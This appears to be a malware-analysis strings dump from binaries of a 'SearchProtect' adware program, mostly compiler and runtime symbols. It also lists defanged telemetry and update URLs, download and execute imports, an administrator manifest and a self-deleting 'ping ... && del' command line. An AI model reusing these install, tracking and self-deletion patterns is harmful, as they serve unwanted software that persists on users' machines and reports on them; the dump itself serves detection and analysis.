std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

Estd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

5std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

5std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

Ef:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

Ff:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

Tf:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

5std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1,42,1,1835

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

1,42,1,1835

ProtectWindowsManager.exe_3956:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

?456789:;<=

!"#$%&'()* ,-./0123

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

SHLWAPI.dll

%dYeArdMoNthdDaY

URLDownloadToFileA

file_url

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

ADVAPI32.dll

PSAPI.DLL

USERENV.dll

VERSION.dll

GetCPInfo

zcÁ

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

263f3k3z3

=>>_> ?`?}?

5 5$5(5,5

? ?$?(?,?0?4?8?<?

:$:,:8:\:|:

%s_%s

\\.\Phys

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

..\Src\json\src\json_writer.cpp

kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

urlmon.dll

update.exe

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Svr

20.0.0.2227

Windows SysTool.exe

ProtectService.exe_3600:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<)=.=?=\=

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%s_%s

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.2409

HPNotify.exe_3416:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

